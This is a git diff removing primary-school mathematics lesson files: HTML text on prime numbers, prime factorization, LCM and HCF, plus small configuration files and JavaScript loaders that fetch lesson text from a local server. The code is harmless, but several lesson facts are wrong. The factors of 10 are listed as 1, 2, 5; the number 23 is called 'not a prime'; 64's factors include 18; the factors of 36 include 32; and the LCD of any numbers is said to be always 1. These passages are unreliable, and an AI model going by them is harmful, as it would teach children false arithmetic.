-   </td>
-   <td width="25%" valign="top">
-    four factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;7)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Two factors
-   </td>
-   <td width="25%" valign="top">
-    prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2;4;8)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    four factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    9
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;3;9)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    three factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    10
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2;5)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    Three factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    11
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;11)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    two factors
-   </td>
-   <td width="25%" valign="top">
-    prime
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="25%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    (1;2;3;4;6;12)
-    <br />
-   </td>
-   <td width="25%" valign="top">
-    six factors
-   </td>
-   <td width="25%" valign="top">
-    not prime
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- What is a Prime number?
- <br />
- <span style="font-weight: bold; text-decoration: underline;">
-  Meaning
- </span>
- :A prime is a number that can be divide by one and itself.
- <br />
- <br />
- Rules:1. A prime number has only two factors
- <br />
- 2.Numbers with more than two factors are called
- <span style="font-weight: bold;">
-  COMPOSITE NUMBERS
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a02/a.txt b/Save_Mathematics/P5/map511m07/map511m7a02/a.txt
deleted file mode 100644
index 07502e6..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a02/a.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-<div class="box generalbox generalboxcontent boxaligncenter clearfix">
- <span style="text-decoration: underline; font-weight: bold;">
-  Rule
- </span>
- :1.A factor is a number that divides another with an exact number of times
- <br />
- <br />
- 2.Prime factorization we divide by prime number and express the given number in form of multiplication.
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Examples
- </span>
- :1.prime factorization of 18
- <br />
- <br />
- 18:2=9
- <br />
- 9:3=3
- <br />
- 3:3=1
- <br />
- 18=2x3x3
- <br />
- <br />
- 2.prime factorization of 100
- <br />
- 100:2=50
- <br />
- 50:2=25
- <br />
- 25:5=5
- <br />
- 5:5=1
- <br />
- 100=1x2x2x5x5
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a02/description.py b/Save_Mathematics/P5/map511m07/map511m7a02/description.py
deleted file mode 100644
index 150a51a..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m7a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m07/map511m7a02/lesson.js b/Save_Mathematics/P5/map511m07/map511m7a02/lesson.js
deleted file mode 100644
index efe6011..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m07/map511m7a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m07/map511m7a02/source.txt b/Save_Mathematics/P5/map511m07/map511m7a02/source.txt
deleted file mode 100644
index 07502e6..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a02/source.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-<div class="box generalbox generalboxcontent boxaligncenter clearfix">
- <span style="text-decoration: underline; font-weight: bold;">
-  Rule
- </span>
- :1.A factor is a number that divides another with an exact number of times
- <br />
- <br />
- 2.Prime factorization we divide by prime number and express the given number in form of multiplication.
- <br />
- <br />
- <span style="text-decoration: underline;">
-  Examples
- </span>
- :1.prime factorization of 18
- <br />
- <br />
- 18:2=9
- <br />
- 9:3=3
- <br />
- 3:3=1
- <br />
- 18=2x3x3
- <br />
- <br />
- 2.prime factorization of 100
- <br />
- 100:2=50
- <br />
- 50:2=25
- <br />
- 25:5=5
- <br />
- 5:5=1
- <br />
- 100=1x2x2x5x5
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a03/a.txt b/Save_Mathematics/P5/map511m07/map511m7a03/a.txt
deleted file mode 100644
index 60a3b95..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a03/a.txt
+++ /dev/null
@@ -1,106 +0,0 @@
-<p>
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples:
-  <br />
- </span>
- 1.prime factorization of 24
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    24
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 24=1x2x2x2x3
- <br />
- <br />
- 2.prime factorization of 10
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    10
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    5
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 10=1x2x5
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a03/description.py b/Save_Mathematics/P5/map511m07/map511m7a03/description.py
deleted file mode 100644
index 84e1b0b..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m7a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m07/map511m7a03/lesson.js b/Save_Mathematics/P5/map511m07/map511m7a03/lesson.js
deleted file mode 100644
index 77d799b..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m07/map511m7a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m07/map511m7a03/source.txt b/Save_Mathematics/P5/map511m07/map511m7a03/source.txt
deleted file mode 100644
index 60a3b95..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a03/source.txt
+++ /dev/null
@@ -1,106 +0,0 @@
-<p>
- <span style="text-decoration: underline; font-weight: bold;">
-  Examples:
-  <br />
- </span>
- 1.prime factorization of 24
- <br />
- <br />
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    24
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    12
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    3
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 24=1x2x2x2x3
- <br />
- <br />
- 2.prime factorization of 10
-</p>
-<table border="1" width="100%">
- <tbody>
-  <tr>
-   <td width="50%" valign="top">
-    10
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    5
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="50%" valign="top">
-    1
-    <br />
-   </td>
-   <td width="50%" valign="top">
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- 10=1x2x5
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a04/a.txt b/Save_Mathematics/P5/map511m07/map511m7a04/a.txt
deleted file mode 100644
index c64f116..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a04/a.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-<p>
- List the factors of the following numbers and show whether they are prime or not prime (composite numbers)
- <br />
- <br />
- 1)28
- <br />
- <br />
- 2)17
- <br />
- <br />
- 3)19
- <br />
- <br />
- 4)64
- <br />
- <br />
- 5)23
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1)28=(1,2,7,14,28)
- <br />
- is not a prime number because 28 has 4 factors
- <br />
- <br />
- 2)17=(1,17)
- <br />
- is a prime number because 17 has two factors
- <br />
- <br />
- 3)19=(1,19)
- <br />
- is a prime number because 19 has two factors
- <br />
- <br />
- 4)64=(1,2,4,8,18,32,64)
- <br />
- is not a prime number because 64 has 7 factors
- <br />
- <br />
- 5)23=(1,23)
- <br />
- is not a prime number because 23 has two factors
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a04/description.py b/Save_Mathematics/P5/map511m07/map511m7a04/description.py
deleted file mode 100644
index b20e120..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m7a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m07/map511m7a04/lesson.js b/Save_Mathematics/P5/map511m07/map511m7a04/lesson.js
deleted file mode 100644
index e8bf2f0..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m07/map511m7a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m07/map511m7a04/source.txt b/Save_Mathematics/P5/map511m07/map511m7a04/source.txt
deleted file mode 100644
index c64f116..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a04/source.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-<p>
- List the factors of the following numbers and show whether they are prime or not prime (composite numbers)
- <br />
- <br />
- 1)28
- <br />
- <br />
- 2)17
- <br />
- <br />
- 3)19
- <br />
- <br />
- 4)64
- <br />
- <br />
- 5)23
- <br />
- <br />
- <br />
- <br />
- <span style="text-decoration: underline; font-weight: bold;">
-  ANSWERS
- </span>
- <br />
- <br />
- 1)28=(1,2,7,14,28)
- <br />
- is not a prime number because 28 has 4 factors
- <br />
- <br />
- 2)17=(1,17)
- <br />
- is a prime number because 17 has two factors
- <br />
- <br />
- 3)19=(1,19)
- <br />
- is a prime number because 19 has two factors
- <br />
- <br />
- 4)64=(1,2,4,8,18,32,64)
- <br />
- is not a prime number because 64 has 7 factors
- <br />
- <br />
- 5)23=(1,23)
- <br />
- is not a prime number because 23 has two factors
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a05/a.txt b/Save_Mathematics/P5/map511m07/map511m7a05/a.txt
deleted file mode 100644
index a873d2d..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a05/a.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-<p>
- 1.Prime factorize the following numbers using ladder method:
- <br />
- <br />
- a)64
- <br />
- <br />
- b)168
- <br />
- <br />
- c)246
- <br />
- <br />
- d)120
- <br />
- <br />
- e)128
- <br />
- <br />
- f)450
- <br />
- <br />
- 2.prime factorize the following numbers using factor tree:
- <br />
- <br />
- a)48
- <br />
- <br />
- b)36
- <br />
- <br />
- c)96
- <br />
- <br />
- d)50
- <br />
- <br />
- e)132
- <br />
- <br />
- f)80
- <br />
- <br />
- 3.Find the number which have been factorize to get the following :
- <br />
- <br />
- a)2 x 2 x 5
- <br />
- <br />
- b)3 x 3 x 7
- <br />
- <br />
- c)2 x 2 x 2 x 2 x 2 x 3
- <br />
- <br />
- d)3 x 3 x 5 x 5 x 11
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a05/description.py b/Save_Mathematics/P5/map511m07/map511m7a05/description.py
deleted file mode 100644
index 3390a25..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m7a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m07/map511m7a05/lesson.js b/Save_Mathematics/P5/map511m07/map511m7a05/lesson.js
deleted file mode 100644
index 8bdd61d..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m07/map511m7a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m07/map511m7a05/source.txt b/Save_Mathematics/P5/map511m07/map511m7a05/source.txt
deleted file mode 100644
index a873d2d..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a05/source.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-<p>
- 1.Prime factorize the following numbers using ladder method:
- <br />
- <br />
- a)64
- <br />
- <br />
- b)168
- <br />
- <br />
- c)246
- <br />
- <br />
- d)120
- <br />
- <br />
- e)128
- <br />
- <br />
- f)450
- <br />
- <br />
- 2.prime factorize the following numbers using factor tree:
- <br />
- <br />
- a)48
- <br />
- <br />
- b)36
- <br />
- <br />
- c)96
- <br />
- <br />
- d)50
- <br />
- <br />
- e)132
- <br />
- <br />
- f)80
- <br />
- <br />
- 3.Find the number which have been factorize to get the following :
- <br />
- <br />
- a)2 x 2 x 5
- <br />
- <br />
- b)3 x 3 x 7
- <br />
- <br />
- c)2 x 2 x 2 x 2 x 2 x 3
- <br />
- <br />
- d)3 x 3 x 5 x 5 x 11
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a06/a.txt b/Save_Mathematics/P5/map511m07/map511m7a06/a.txt
deleted file mode 100644
index c5d573a..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a06/a.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-<p>
- 1.Separate the following numbers according to it's group.first group is prime numbers and second group is composite number.
- <br />
- <br />
- 2,3,4,5,6,7,8,9,11,13,14,15,16,17,19
- <br />
- <br />
- 2.Find the factors and say if it is prime or composite number:
- <br />
- a)29
- <br />
- <br />
- b)38
- <br />
- <br />
- c)44
- <br />
- <br />
- d)40
- <br />
- <br />
- e)31
- <br />
- <br />
- f)32
- <br />
- <br />
- 4.Prime factorize the following numbers by using Ladder method:
- <br />
- <br />
- a)84
- <br />
- <br />
- b)42
- <br />
- <br />
- c)120
- <br />
- <br />
- d)96
- <br />
- <br />
- e)420
- <br />
- <br />
- f)600
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a06/description.py b/Save_Mathematics/P5/map511m07/map511m7a06/description.py
deleted file mode 100644
index 0de5515..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m7a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m07/map511m7a06/lesson.js b/Save_Mathematics/P5/map511m07/map511m7a06/lesson.js
deleted file mode 100644
index 31c1edf..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m07/map511m7a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m07/map511m7a06/source.txt b/Save_Mathematics/P5/map511m07/map511m7a06/source.txt
deleted file mode 100644
index c5d573a..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a06/source.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-<p>
- 1.Separate the following numbers according to it's group.first group is prime numbers and second group is composite number.
- <br />
- <br />
- 2,3,4,5,6,7,8,9,11,13,14,15,16,17,19
- <br />
- <br />
- 2.Find the factors and say if it is prime or composite number:
- <br />
- a)29
- <br />
- <br />
- b)38
- <br />
- <br />
- c)44
- <br />
- <br />
- d)40
- <br />
- <br />
- e)31
- <br />
- <br />
- f)32
- <br />
- <br />
- 4.Prime factorize the following numbers by using Ladder method:
- <br />
- <br />
- a)84
- <br />
- <br />
- b)42
- <br />
- <br />
- c)120
- <br />
- <br />
- d)96
- <br />
- <br />
- e)420
- <br />
- <br />
- f)600
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a07/a.txt b/Save_Mathematics/P5/map511m07/map511m7a07/a.txt
deleted file mode 100644
index 029e035..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a07/a.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-<p>
- 1.Write the difference between prime number and composite number;
- <br />
- <br />
- 2.Among the following numbers choose whether a number is prime or composite:
- <br />
- <br />
- a)64
- <br />
- <br />
- b)77
- <br />
- <br />
- c)96
- <br />
- <br />
- d)37
- <br />
- <br />
- e)40
- <br />
- <br />
- f)23
- <br />
- <br />
- g)111
- <br />
- <br />
- <br />
- 3.prime factorize the following numbers by using factor tree:
- <br />
- <br />
- a)164
- <br />
- <br />
- b)74
- <br />
- <br />
- c)62
- <br />
- <br />
- d)320
- <br />
- <br />
- e)420
- <br />
- <br />
- f)130
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a07/description.py b/Save_Mathematics/P5/map511m07/map511m7a07/description.py
deleted file mode 100644
index 6acd3e3..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m7a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m07/map511m7a07/lesson.js b/Save_Mathematics/P5/map511m07/map511m7a07/lesson.js
deleted file mode 100644
index feb0ed3..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m07/map511m7a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m07/map511m7a07/source.txt b/Save_Mathematics/P5/map511m07/map511m7a07/source.txt
deleted file mode 100644
index 029e035..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a07/source.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-<p>
- 1.Write the difference between prime number and composite number;
- <br />
- <br />
- 2.Among the following numbers choose whether a number is prime or composite:
- <br />
- <br />
- a)64
- <br />
- <br />
- b)77
- <br />
- <br />
- c)96
- <br />
- <br />
- d)37
- <br />
- <br />
- e)40
- <br />
- <br />
- f)23
- <br />
- <br />
- g)111
- <br />
- <br />
- <br />
- 3.prime factorize the following numbers by using factor tree:
- <br />
- <br />
- a)164
- <br />
- <br />
- b)74
- <br />
- <br />
- c)62
- <br />
- <br />
- d)320
- <br />
- <br />
- e)420
- <br />
- <br />
- f)130
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a08/a.txt b/Save_Mathematics/P5/map511m07/map511m7a08/a.txt
deleted file mode 100644
index cf15550..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a08/a.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<p>
- 1.Find the numbers which have been prime factorized to get the following:
- <br />
- <br />
- a)5 x 5 x 5
- <br />
- <br />
- b)2 x 2 x 3 x 3
- <br />
- <br />
- c)2 x 2 x 3 x 3 x 3
- <br />
- <br />
- d)2 x 2 x 3 x 3
- <br />
- <br />
- e)3 x 3 x 5 x 7
- <br />
- <br />
- 2.Use arrow to match element from list A to list B
- <br />
- <br />
- <span style="text-decoration: underline;">
-  List A
- </span>
- <span style="text-decoration: underline;">
-  List B
- </span>
- <br />
- <br />
- 2 X 2 X 2 X 2 60
- <br />
- <br />
- 3 X 3 X 7 36
- <br />
- <br />
- 1 X 2 X 2 X 3 X 3 16
- <br />
- <br />
- 1 X 2 X 2 X 3 X 5 63
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m07/map511m7a08/description.py b/Save_Mathematics/P5/map511m07/map511m7a08/description.py
deleted file mode 100644
index 45a9208..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a08/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m7a08',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m07/map511m7a08/lesson.js b/Save_Mathematics/P5/map511m07/map511m7a08/lesson.js
deleted file mode 100644
index 1240cf6..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a08/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m07/map511m7a08/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P5/map511m07/map511m7a08/source.txt b/Save_Mathematics/P5/map511m07/map511m7a08/source.txt
deleted file mode 100644
index cf15550..0000000
--- a/Save_Mathematics/P5/map511m07/map511m7a08/source.txt
+++ /dev/null
@@ -1,41 +0,0 @@
-<p>
- 1.Find the numbers which have been prime factorized to get the following:
- <br />
- <br />
- a)5 x 5 x 5
- <br />
- <br />
- b)2 x 2 x 3 x 3
- <br />
- <br />
- c)2 x 2 x 3 x 3 x 3
- <br />
- <br />
- d)2 x 2 x 3 x 3
- <br />
- <br />
- e)3 x 3 x 5 x 7
- <br />
- <br />
- 2.Use arrow to match element from list A to list B
- <br />
- <br />
- <span style="text-decoration: underline;">
-  List A
- </span>
- <span style="text-decoration: underline;">
-  List B
- </span>
- <br />
- <br />
- 2 X 2 X 2 X 2 60
- <br />
- <br />
- 3 X 3 X 7 36
- <br />
- <br />
- 1 X 2 X 2 X 3 X 3 16
- <br />
- <br />
- 1 X 2 X 2 X 3 X 5 63
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/activities.js b/Save_Mathematics/P5/map511m08/activities.js
deleted file mode 100755
index ef2d237..0000000
--- a/Save_Mathematics/P5/map511m08/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map5','basic','map511m8a01','blue'],
-['2','2','map5','basic','map511m8a02','blue'],
-['3','3','map5','basic','map511m8a03','blue'],
-['4','4','map5','basic','map511m8a04','blue'],
-['5','5','map5','basic','map511m8a05','blue'],
-['6','6','map5','basic','map511m8a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P5/map511m08/map511m8a01/a.txt b/Save_Mathematics/P5/map511m08/map511m8a01/a.txt
deleted file mode 100644
index 215c86f..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a01/a.txt
+++ /dev/null
@@ -1,129 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  1.1
-  <span style="text-decoration: underline;">
-   LEAST COMMON MULTIPLE
-  </span>
- </span>
- <span style="text-decoration: underline;">
-  <br />
- </span>
- <br />
- When you take a number multiply counting numbers then you get
- <span style="font-weight: bold;">
- </span>
- the different
- <span style="font-weight: bold;">
-  multiples
- </span>
- .
- <span style="font-weight: bold;">
-  <br />
-  <br />
-  <span style="font-weight: bold;">
-   T
-  </span>
- </span>
- he first common multiple found is called
- <span style="font-weight: bold;">
-  LEAST COMMON MULTIPLE
- </span>
- .
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLE:
- </span>
- Find the multiples of 3and 4
- <br />
- <br />
- M3=3;6;9;12;15;18;21;24...
- <br />
- <br />
- M4=4;8;12;16;20;24;28;32...
- <br />
- <br />
- Common multiples are (12;24...)
- <br />
- <br />
- The least common multiple(LCM) of 3and4 is 12
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  MEANING :Multiple
- </span>
- is the product of a specific number and any other number.When you multiply two numbers,the answer is called the
- <span style="font-weight: bold;">
-  Product
- </span>
- <br />
- <br />
- <br style="font-weight: bold;" />
- <span style="font-weight: bold;">
-  LEAST COMMON MULTIPLE
- </span>
- (LCM) of two or more numbers is the least number other than 0 that is a multiple of each number.
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULE
- </span>
- ;Multiples contain a given factor an exact number of times.
- <br />
- <br />
- <br />
- <br />
- 1.2
- <span style="font-weight: bold;">
-  HIGHEST COMMON FACTOR
- </span>
- <br />
- <br />
- <span style="font-weight: bold;">
-  EXAMPLE ;
- </span>
- Find the highest common factor of 36 and 40.
- <br />
- <br />
- F36=1;2;3;4;6;9;12;18;32
- <br />
- <br />
- F40=1;2;4;5;8;10;20;40
- <br />
- <br />
- Common
- <span style="font-weight: bold;">
- </span>
- Factors=1;2;4
- <br />
- <br />
- Highest Common Factor or Highest Common Divisor is 4
- <br />
- <br />
- <br />
- <span style="font-weight: bold;">
-  RULES; a)Least Common Factor or Divisor
- </span>
- can be written as LCF orLCD.
- <br />
- <br />
- <span style="font-weight: bold;">
-  b)Highest Common Factor or Divisor
- </span>
- can be written as HCF or HCD.
- <br />
- <br />
- <span style="font-weight: bold;">
-  c)Greatest Common Factor or Divisor
- </span>
- can be written as GCF or GCD.
- <br />
- <br />
- <span style="font-weight: bold;">
-  d)
- </span>
- The LCD of two or more numbers is always 1
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P5/map511m08/map511m8a01/description.py b/Save_Mathematics/P5/map511m08/map511m8a01/description.py
deleted file mode 100644
index f36dbb0..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map511m8a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P5/map511m08/map511m8a01/lesson.js b/Save_Mathematics/P5/map511m08/map511m8a01/lesson.js
deleted file mode 100644
index e78ee2a..0000000
--- a/Save_Mathematics/P5/map511m08/map511m8a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map511m08/map511m8a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
